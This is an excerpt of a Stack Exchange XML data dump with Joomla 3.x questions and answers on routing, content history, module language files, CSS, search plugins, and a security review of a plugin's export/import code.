  <row Id="7239" PostTypeId="2" ParentId="7227" CreationDate="2015-01-26T13:58:23.507" Score="1" Body="&lt;p&gt;You might achieve what you need much more easily by using (or tweaking) the &quot;breadcrumb&quot; module. There are variations of this module which give you quite a bit of control over what is shown in the hierarchy and of course it always knows the current page. Bear in mind though that breadcrumbs are derived from your menu structure - so ensure that is complete before expecting results.&lt;/p&gt;&#xA;" OwnerUserId="3546" LastActivityDate="2015-01-26T13:58:23.507" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7240" PostTypeId="1" CreationDate="2015-01-26T14:32:46.377" Score="1" ViewCount="177" Body="&lt;p&gt;I'm using Fabrik 3.2 Form builder to build a shipment tracking system (like DHL) using Joomla 3.x. I have built the form &amp;amp; added some records. Now what I want is when a customer logs in using the Joomla Login Form, I want them to access their record(s) only to check their tracking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like Select all elements( username,email, status, etc) from table name (Tracking) where username(from the Tracking table)=logged in username.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I do that?&lt;/p&gt;&#xA;" OwnerUserId="3579" LastEditorUserId="12352" LastEditDate="2021-04-24T20:53:11.037" LastActivityDate="2021-04-24T20:53:11.037" Title="Joomla 3.x Access Control / user role" Tags="|joomla-3.x|mysql|fabrik|" AnswerCount="1" CommentCount="1" ClosedDate="2019-02-04T12:44:05.767" ContentLicense="CC BY-SA 4.0" />
  <row Id="7241" PostTypeId="2" ParentId="7236" CreationDate="2015-01-26T15:07:57.983" Score="3" Body="&lt;p&gt;If your model is inherited from &lt;code&gt;JModelAdmin&lt;/code&gt; class then you can check for new record like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$isNew = $this-&amp;gt;getState($this-&amp;gt;getName() . '.new');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Otherwise you should check the data you saving - has it primary key set or not. See &lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/staging/libraries/legacy/model/admin.php#L1091-L1105&quot; rel=&quot;nofollow&quot;&gt;this part of code&lt;/a&gt; of &lt;code&gt;JModelAdmin&lt;/code&gt; class.&lt;/p&gt;&#xA;" OwnerUserId="3" LastActivityDate="2015-01-26T15:07:57.983" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7242" PostTypeId="2" ParentId="7229" CreationDate="2015-01-26T16:42:10.747" Score="1" Body="&lt;p&gt;You are using existing usergroup field for displaying usergroup dropdown in which there is no option to limit the list of usergroup to display in dropdown list.(Unless you edit the field element)&lt;/p&gt;&#xA;&lt;p&gt;If you do not want to display all the usergroups then better you should create custom field in which you can filter the usergroups you do not want to display.&lt;/p&gt;&#xA;&lt;p&gt;On another note, there are many extensions available which can solve your purchase.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://extensions.joomla.org/extensions/extension/clients-a-communities/user-management/usergroup-selector&quot; rel=&quot;nofollow noreferrer&quot;&gt;Usergroup Selector&lt;/a&gt; is one of those extension.&#xA;Using this plugin you can allow your users to select the usergroup at the time of registration.&lt;/p&gt;&#xA;" OwnerUserId="396" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2015-01-26T16:42:10.747" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7243" PostTypeId="1" AcceptedAnswerId="7244" CreationDate="2015-01-26T18:40:32.790" Score="0" ViewCount="879" Body="&lt;p&gt;I'm using the info found &lt;a href=&quot;https://docs.joomla.org/Adding_print_pop-up_functionality_to_a_component&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; to add a full screen option to a component. The code looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;&amp;lt;?php echo Juri::getInstance().'&amp;amp;tmpl=component&amp;amp;return='.$this-&amp;gt;return; ?&amp;gt;&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, the link returns a 404 if SEF URLs are enabled. I also see this problem when I use a static, non-SEF link like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;index.php?option=mycomponent&amp;amp;view=thisview&amp;amp;tmpl=component&amp;amp;return='.$this-&amp;gt;return; ?&amp;gt;&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is it possible to use the full screen / tmpl=component view with SEF URLs?&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="126" LastEditDate="2016-01-21T23:38:52.560" LastActivityDate="2017-07-03T06:31:40.297" Title="Using tmpl=component with SEF URL" Tags="|component|templates|sef|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7244" PostTypeId="2" ParentId="7243" CreationDate="2015-01-26T18:58:24.080" Score="2" Body="&lt;p&gt;Did you try it with JRoute?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;&amp;lt;?php echo JRoute::_('index.php?option=mycomponent&amp;amp;view=thisview&amp;amp;tmpl=component&amp;amp;return=' . $this-&amp;gt;return); ?&amp;gt;&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="154" LastActivityDate="2015-01-26T18:58:24.080" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7245" PostTypeId="2" ParentId="7194" CreationDate="2015-01-26T19:54:34.867" Score="2" Body="&lt;p&gt;First, the .htaccess should only do the rewrite, if the file or directory referenced is not found. So the most likely reason for this is that there is a typo in either the folder name or the directory name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, if you can't find the typo &lt;strong&gt;and&lt;/strong&gt; your site does is not configured to add .html to the urls, you can edit the line that checks file extensions and remove &quot;html?|&quot; from it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, if you use custom error pages redirects to password protected folders will fail, if the defined &lt;strong&gt;custom error page&lt;/strong&gt; returns a &quot;not found&quot; error. As far as the rewrite is concerned a 404 is a 404.&lt;/p&gt;&#xA;" OwnerUserId="2309" LastEditorUserId="2309" LastEditDate="2015-06-10T15:46:50.183" LastActivityDate="2015-06-10T15:46:50.183" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7246" PostTypeId="1" AcceptedAnswerId="7338" CreationDate="2015-01-26T20:49:39.920" Score="2" ViewCount="348" Body="&lt;p&gt;Just been doing a bit of housekeeping on a few of my sites (Joomla 3.x) and this feature has been (slightly) annoying me. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically whenever I delete an article or item from the back end of my site, it firstly goes into the trash. I then have to go into the trash and empty it. Not a huge issue, many may see this as a benefit. However I feel that a one click 'delete' solution would be beneficial. Currently it adds an extra step to an already tedious process. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was having the same issue when deleting some categories and menu items. I was unable to re-create categories and menu items with the same name because on already existed - but where? The trash. Once the trash was emptied it was fine again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anybody has suggestions on how to implement such a feature I would be most interested, or if I am missing something and have been using Joomla incorrectly all this time please do tell.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this makes sense to somebody.&lt;/p&gt;&#xA;" OwnerUserId="1538" LastActivityDate="2015-01-29T12:59:58.937" Title="Deleting items in back end &amp; trash manager" Tags="|joomla-3.x|administration|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7247" PostTypeId="1" CreationDate="2015-01-26T21:06:39.157" Score="1" ViewCount="45" Body="&lt;p&gt;I have created a somewhat complex site that shows a lot of mini K2 articles on each page, to make sure that everything is editable. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I have a slider (each slide is an item), a list of logos of associated companies (each one is an article) and then some news (real articles for a change).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;90% of the site's content is in form of these articles that don't actually have any &quot;read more&quot; button to see the full article, because they're being used to make more things editable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem is that I want to include a search box and make the searches go to the article only when there is a read more link. But I also want people to find the associated companies and go to the main page where the logos are listed, if we follow my previous example. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone come across a similar issue? What is the best way to do this? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've thought of Google Search, but it seems very painful to implement and not very customizable. &lt;/p&gt;&#xA;" OwnerUserId="1699" LastActivityDate="2015-02-25T22:33:28.640" Title="Search for elements in sections, without getting into the articles" Tags="|joomla-3.x|k2|search|smartsearch|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7248" PostTypeId="2" ParentId="7247" CreationDate="2015-01-26T21:34:27.310" Score="1" Body="&lt;p&gt;Regular search plugins work in a general way. To find search results only &quot;when there is a read more link&quot;, you have to create a new plugin adding this restriction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can just duplicate plgSearchK2, to create plgSearchMyK2 and add the restriction:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;i.introtext like '%&amp;lt;hr id=&quot;system-readmore&quot; /&amp;gt;%'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-01-26T21:34:27.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7249" PostTypeId="1" CreationDate="2015-01-26T21:40:17.750" Score="0" ViewCount="96" Body="&lt;p&gt;Hi have two working scripts, one to backup a db field and the other one to restore that same db field. What i would like to know if from security perspective they are safe or what can be improved.&#xA;Working on a Joomla 3.x system plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Export script&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function export()&#xA;{&#xA;    // Get a database object.   &#xA;    $db = JFactory::getDbo();&#xA;&#xA;    // Create a new query object.&#xA;    $query = $db-&amp;gt;getQuery(true);&#xA;&#xA;    // Select fields to get.&#xA;    $fields = array(&#xA;        $db-&amp;gt;quoteName('params')&#xA;    );&#xA;&#xA;    // Conditions for which records should be get.&#xA;    $conditions = array(&#xA;        $db-&amp;gt;quoteName('element') . ' = ' . $db-&amp;gt;quote('plugin_name'), &#xA;        $db-&amp;gt;quoteName('folder') . ' = ' . $db-&amp;gt;quote('system')&#xA;    );&#xA;&#xA;    // Set the query and load the result.&#xA;    $query-&amp;gt;select($fields)-&amp;gt;from($db-&amp;gt;quoteName('#__extensions'))-&amp;gt;where($conditions);&#xA;    $db-&amp;gt;setQuery($query);   &#xA;    $results = $db-&amp;gt;loadResult(); &#xA;&#xA;    // Namming the filename that will be generated.&#xA;    $name      = 'file_name';&#xA;    $date      = date(&quot;Ymd&quot;);&#xA;    $json_name = $name.&quot;-&quot;.$date;&#xA;&#xA;    // Clean the output buffer.&#xA;    ob_start();&#xA;    echo $results;&#xA;    $fileContent = ob_get_contents();&#xA;    ob_end_clean();&#xA;&#xA;    header('Content-disposition: attachment; filename='.$json_name.'.json');&#xA;    header('Content-type: application/json');&#xA;&#xA;    echo $fileContent;&#xA;    exit();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Import script&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function import($_FILES)&#xA;{   &#xA;    if ($_FILES['fileToUpload']['error'] &amp;gt; 0) {&#xA;        echo &quot;&amp;lt;p class='alert alert-error'&amp;gt;An error occurred while uploading!&amp;lt;/p&amp;gt;&quot;;     &#xA;    } else {&#xA;        $file_name = $_FILES['fileToUpload']['name'];&#xA;        $file_ext  = strtolower(end(explode(&quot;.&quot;, $file_name)));&#xA;        $file_size = $_FILES['fileToUpload']['size'];&#xA;        if (($file_ext == &quot;json&quot;) &amp;amp;&amp;amp; ($file_size &amp;lt; 50000)) {&#xA;            $options = file_get_contents($_FILES['fileToUpload']['tmp_name']);&#xA;&#xA;            // Get a database object. &#xA;            $db = JFactory::getDbo();&#xA;&#xA;            // Create a new query object.&#xA;            $query = $db-&amp;gt;getQuery(true);&#xA;&#xA;            // Fields to update.&#xA;            $fields = array(&#xA;                $db-&amp;gt;quoteName('params') . ' = ' . $db-&amp;gt;quote($options)&#xA;            );&#xA;&#xA;            // Conditions for which records should be updated.&#xA;            $conditions = array(&#xA;                $db-&amp;gt;quoteName('element') . ' = ' . $db-&amp;gt;quote('plugin_name'), &#xA;                $db-&amp;gt;quoteName('folder') . ' = ' . $db-&amp;gt;quote('system')&#xA;            );&#xA;&#xA;            // Set the query and execute it.&#xA;            $query-&amp;gt;update($db-&amp;gt;quoteName('#__extensions'))-&amp;gt;set($fields)-&amp;gt;where($conditions);&#xA;            $db-&amp;gt;setQuery($query);&#xA;            $result = $db-&amp;gt;execute();&#xA;&#xA;            echo &quot;&amp;lt;p class='alert alert-success'&amp;gt;Backup file successfully restored!&amp;lt;/p&amp;gt;&quot;;&#xA;        } else {&#xA;            if ($file_ext != &quot;json&quot;) {&#xA;                echo &quot;&amp;lt;p class='alert alert-error'&amp;gt;Invalid file type!&quot;;&#xA;            } elseif ($file_size &amp;gt; 50000) {&#xA;                echo &quot;&amp;lt;p class='alert alert-error'&amp;gt;File size error!&amp;lt;/p&amp;gt;&quot;;&#xA;            }&#xA;        }&#xA;    }&#xA;    return;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2087" LastActivityDate="2019-05-27T13:25:09.660" Title="Export/Import from security perspective" Tags="|joomla-3.x|security|backups|system-plugin|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7250" PostTypeId="2" ParentId="7249" CreationDate="2015-01-26T22:16:38.570" Score="3" Body="&lt;p&gt;First thing I would do is use &lt;code&gt;JInput&lt;/code&gt; instead of using &lt;code&gt;$_FILES&lt;/code&gt;, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$jinput = JFactory::getApplication()-&amp;gt;input;&#xA;$files  = $input-&amp;gt;files-&amp;gt;get('jform1');&#xA;&#xA;function import($files)&#xA;{&#xA;     // rest of code here&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So rather than becoming some long winded array, it will become much more simplified like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Array&#xA;(&#xA;    [test] =&amp;gt; Array&#xA;        (&#xA;            [0] =&amp;gt; Array&#xA;                (&#xA;                    [name] =&amp;gt; file.png&#xA;                    [type] =&amp;gt; image/png&#xA;                    [tmp_name] =&amp;gt; /tmp/phpXoIpSD&#xA;                    [error] =&amp;gt; 0&#xA;                    [size] =&amp;gt; 34409&#xA;                )&#xA;&#xA;            [1] =&amp;gt; Array&#xA;                (&#xA;                    [name] =&amp;gt; file2.jpg&#xA;                    [type] =&amp;gt; image/jpeg&#xA;                    [tmp_name] =&amp;gt; /tmp/phpWDE7ye&#xA;                    [error] =&amp;gt; 0&#xA;                    [size] =&amp;gt; 99529&#xA;                )&#xA;&#xA;        )&#xA;&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There are some other things like using Joomla's API instead of &lt;code&gt;header()&lt;/code&gt;, but I wouldn't say that's necessary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One thing you could do for additional security is get the user object and check the permissions when calling the function. To properly check for a super user, have a look at the following answers by &lt;strong&gt;dev-m&lt;/strong&gt; and &lt;strong&gt;Bakual&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://joomla.stackexchange.com/a/1154/168&quot;&gt;https://joomla.stackexchange.com/a/1154/168&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: Don't use the code from my answer as the others are better methods. I've tried to delete mine but it won't let me.&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2015-01-26T22:16:38.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7251" PostTypeId="1" CreationDate="2015-01-26T23:44:48.240" Score="0" ViewCount="334" Body="&lt;p&gt;I've found a lot of advice on how to keep [invalid token] error from occurring.  I've tried them and still have an issue.  I just want to get rid of the check.  Can anyone tell me off hand where I would go to remove the check from the system completely?  Hopefully it's in a template somewhere so I can just make an override.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="3581" LastEditorUserId="12352" LastEditDate="2019-11-16T22:54:47.440" LastActivityDate="2019-11-16T22:54:47.440" Title="How can I remove check for user data (invalid token error)" Tags="|joomla-3.x|joomla-2.5|joomla-3.3.x|security-token|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7252" PostTypeId="2" ParentId="7251" CreationDate="2015-01-26T23:55:27.777" Score="3" Body="&lt;p&gt;The tokens in Joomla are super important from a security perspective in forms to stop people from cross site scripting attacks - see &lt;a href=&quot;http://en.wikipedia.org/wiki/Cross-site_scripting&quot; rel=&quot;nofollow&quot;&gt;http://en.wikipedia.org/wiki/Cross-site_scripting&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I strongly strongly advise not removing them under any circumstance. It's not in a controller tho.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the check itself the check is made in the controller for example here &lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/3.3.6/components/com_contact/controllers/contact.php#L26&quot; rel=&quot;nofollow&quot;&gt;https://github.com/joomla/joomla-cms/blob/3.3.6/components/com_contact/controllers/contact.php#L26&lt;/a&gt; and would be super hard to override I'm afraid. You'd pretty much have to override (maybe with a plugin on onBeforeRender) every single controller including 3rd party ones.&lt;/p&gt;&#xA;" OwnerUserId="33" LastEditorUserId="3518" LastEditDate="2015-01-27T09:08:37.957" LastActivityDate="2015-01-27T09:08:37.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7253" PostTypeId="1" AcceptedAnswerId="7266" CreationDate="2015-01-27T01:40:41.480" Score="-3" ViewCount="113" Body="&lt;p&gt;How do I go about making the Opacity of my white background 20%? You can view the white background i'm talking about here,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.webbmaster.com.au/web-programs/questdesign/index.php/folio&quot; rel=&quot;nofollow&quot;&gt;http://www.webbmaster.com.au/web-programs/questdesign/index.php/folio&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my css so far,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.foliopage {&#xA;background: #fff; // Left as a fallback for older browsers&#xA;background: rgba(255,255,255,0.7); // transparent white&#xA;color: #000;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Many thanks if you can help me out.&lt;/p&gt;&#xA;" OwnerUserId="3560" LastActivityDate="2015-01-27T10:58:59.163" Title="How to Make the Opacity of my white background 20%" Tags="|joomla-3.x|css|jhtml|" AnswerCount="1" CommentCount="3" ClosedDate="2015-01-27T12:29:40.957" ContentLicense="CC BY-SA 3.0" />
  <row Id="7254" PostTypeId="2" ParentId="7223" CreationDate="2015-01-27T02:12:59.727" Score="4" Body="&lt;p&gt;Well, Joomla is a mix of old and new. Contenthistory does not use classic events but the observer pattern. Take a look into &lt;code&gt;JTableObserverContenthistory&lt;/code&gt; (libraries/joomla/table/observer/contenthistory.php).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find the &quot;hook&quot; in &lt;code&gt;JTableContent-&amp;gt;__construct()&lt;/code&gt; (libraries/legacy/table/content.php line 34):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;JTableObserverContenthistory::createObserver($this, array('typeAlias' =&gt; 'com_content.article'));&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That's where the observer is being created.&lt;/p&gt;&#xA;" OwnerUserId="3518" LastActivityDate="2015-01-27T02:12:59.727" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7256" PostTypeId="2" ParentId="7223" CreationDate="2015-01-27T03:55:54.620" Score="1" Body="&lt;p&gt;I have fixed the error, I just needed to add the params for save history and I added this line in the construct method:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JTableObserverContenthistory::createObserver($this, array('typeAlias' =&amp;gt; 'com_joomprosubs.subscription'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2308" LastEditorUserId="168" LastEditDate="2015-02-21T02:19:19.313" LastActivityDate="2015-02-21T02:19:19.313" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7258" PostTypeId="1" AcceptedAnswerId="7280" CreationDate="2015-01-27T05:10:33.560" Score="1" ViewCount="370" Body="&lt;p&gt;Hello I have done my best to center my navigation buttons but it still doesn't center it perfectly underneath the main logo. Can anyone help me? Might be missing a line of code or have the wrong values set.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.nav-pills &amp;gt; li &amp;gt; a {&#xA;padding-right: 12px;&#xA;padding-left: 12px;&#xA;margin-right: 60px;&#xA;line-height: 14px;&#xA;}&#xA;&#xA;.nav-pills &amp;gt; li &amp;gt; a {&#xA;padding-top: 8px;&#xA;padding-bottom: 8px;&#xA;margin-top: 2px;&#xA;margin-bottom: 2px;&#xA;-webkit-border-radius: 5px;&#xA;-moz-border-radius: 5px;&#xA;border-radius: 5px;&#xA;color: white;&#xA;background-color: #F6861F;&#xA;}&#xA;&#xA;.header .nav-pills &amp;gt; li &amp;gt; a {&#xA;    border: 1px solid #000000;&#xA;    border-bottom: 0;&#xA;    margin: 0;&#xA;    -webkit-border-radius: 0;&#xA;    -moz-border-radius: 0;&#xA;    border-radius: 0;&#xA;    margin-right: 0;&#xA;}&#xA;&#xA;.nav-pills &amp;gt; li &amp;gt; a {&#xA;    margin-right: 0;&#xA;}&#xA;.nav-pills &amp;gt; li &amp;gt; a {&#xA;    margin-bottom: 3px;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Help would be much appreciated. My page is at,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.webbmaster.com.au/web-programs/questdesign/&quot; rel=&quot;nofollow&quot;&gt;http://www.webbmaster.com.au/web-programs/questdesign/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3560" LastActivityDate="2015-01-27T15:47:55.637" Title="Navigation Buttons Centered with main logo" Tags="|joomla-3.x|css|jhtml|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7259" PostTypeId="1" CreationDate="2015-01-27T05:34:13.657" Score="1" ViewCount="1439" Body="&lt;p&gt;I'm developing a module and i want to set up a multiple language support to my custom module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my procedure are this on my custom module root directory is something like this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mod_module&#xA;-admin&#xA;--language&#xA;---en-GB&#xA;-----en-GB.mod_module.ini&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;inside on my &lt;strong&gt;en-GB.mod_module.ini&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MOD_MODULE_DESCRIPTION = &quot;Sample Description for my module&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;now on my manifest xml file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;description&amp;gt;MOD_MODULE_DESCRIPTION&amp;lt;/description&amp;gt;  &#xA;  &amp;lt;/administration&amp;gt;&#xA;        &amp;lt;languages folder=&quot;admin/language&quot;&amp;gt;&#xA;            &amp;lt;language tag=&quot;en-GB&quot;&amp;gt;en-GB/en-GB.mod_module.ini&amp;lt;/language&amp;gt;         &#xA;            &amp;lt;language tag=&quot;en-GB&quot;&amp;gt;en-GB/en-GB.mod_module.sys.ini&amp;lt;/language&amp;gt;&#xA;        &amp;lt;/languages&amp;gt;&#xA;    &amp;lt;/administration&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;eventhough I follow the correct instructions in joomla docs,&#xA;upon installation the &lt;strong&gt;MOD_MODULE_DESCRIPTION&lt;/strong&gt; is not working.&#xA;I know that once you successfully installed your extension joomla show a feedback message with the description of your extension.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;why its not working?&lt;/p&gt;&#xA;" OwnerUserId="3582" LastEditorUserId="3582" LastEditDate="2015-01-27T06:42:06.627" LastActivityDate="2015-01-27T08:29:28.447" Title="Language on my custom module" Tags="|extensions|language|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7260" PostTypeId="2" ParentId="7259" CreationDate="2015-01-27T06:33:05.580" Score="1" Body="&lt;p&gt;Well ok, that was a hassle. Basically put your language files in&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-language&#xA;--eng-GB&#xA;---eng-GB.mod_module.ini&#xA;---eng-GB.mod_module.sys.ini&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then put this in your xml file, but not inside the administration block.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;languages folder=&quot;language&quot;&amp;gt;&#xA;    &amp;lt;language tag=&quot;en-GB&quot;&amp;gt;en-GB/en-GB.mod_module.ini&amp;lt;/language&amp;gt;&#xA;    &amp;lt;language tag=&quot;en-GB&quot;&amp;gt;en-GB/en-GB.mod_module.sys.ini&amp;lt;/language&amp;gt;&#xA;&amp;lt;/languages&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For some reason joomla! is really picky about this on loading this on the installation phase, even thou everything might work afterwards.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Oh and credit where credit is due. Here I found the &lt;a href=&quot;https://stackoverflow.com/questions/14186611/load-language-file-during-joomla-2-5-system-plugin-installation&quot; title=&quot;answer&quot;&gt;answer&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3464" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2015-01-27T08:29:28.447" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7261" PostTypeId="1" CreationDate="2015-01-27T06:56:45.800" Score="2" ViewCount="91" Body="&lt;p&gt;I have problem with flash files in com_banners. When I select &quot;image&quot;, I can upload flash file but I can't choose flash because it's not on the list. I can put manualy path but it's not good idea for client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In mod_banners is line : &lt;code&gt;&amp;lt;?php elseif (BannerHelper::isFlash($imageurl)) :?&amp;gt;&lt;/code&gt; so I am confused why mod_media in com_banners it does not allow to select .swf file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to solve this problem.&lt;/p&gt;&#xA;" OwnerUserId="3557" LastEditorUserId="3557" LastEditDate="2015-01-27T08:25:33.753" LastActivityDate="2015-09-05T23:28:38.893" Title="Select flash in com_banners" Tags="|joomla-3.x|administrator|file-upload|com-banners|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7262" PostTypeId="1" CreationDate="2015-01-27T08:39:53.787" Score="0" ViewCount="90" Body="&lt;p&gt;I was trying to restore a version of content I am editing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the construct method of my administrator/components/com_joomprosubs/tables/subscription.php script, I added this following line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JObserverMapper::addObserverClassToClass('JTableObserverContenthistory',&#xA;'JoomprosubsTableSubscription', array('typeAlias' =&amp;gt; 'com_joomprosubs.subscription'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is based on what I have read in this link:&#xA;&lt;a href=&quot;https://docs.joomla.org/Using_Content_History_in_your_Component&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Using_Content_History_in_your_Component&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when I try to restore a version, an error is displayed:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Error restoring item version from history.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The error is being returned due to the blank value of &lt;code&gt;typeAlias&lt;/code&gt;. I don't know where I got it wrong. From the code that I added above, I have included the &lt;code&gt;typeAlias&lt;/code&gt; with its corresponding value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anybody tried adding versioning in their custom component?&lt;/p&gt;&#xA;" OwnerUserId="2308" LastEditorUserId="12352" LastEditDate="2019-05-27T10:27:40.663" LastActivityDate="2019-05-27T10:27:40.663" Title="&quot;Error restoring item version from history.&quot; while restoring version of content in custom component" Tags="|joomla-3.x|custom-component|versions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
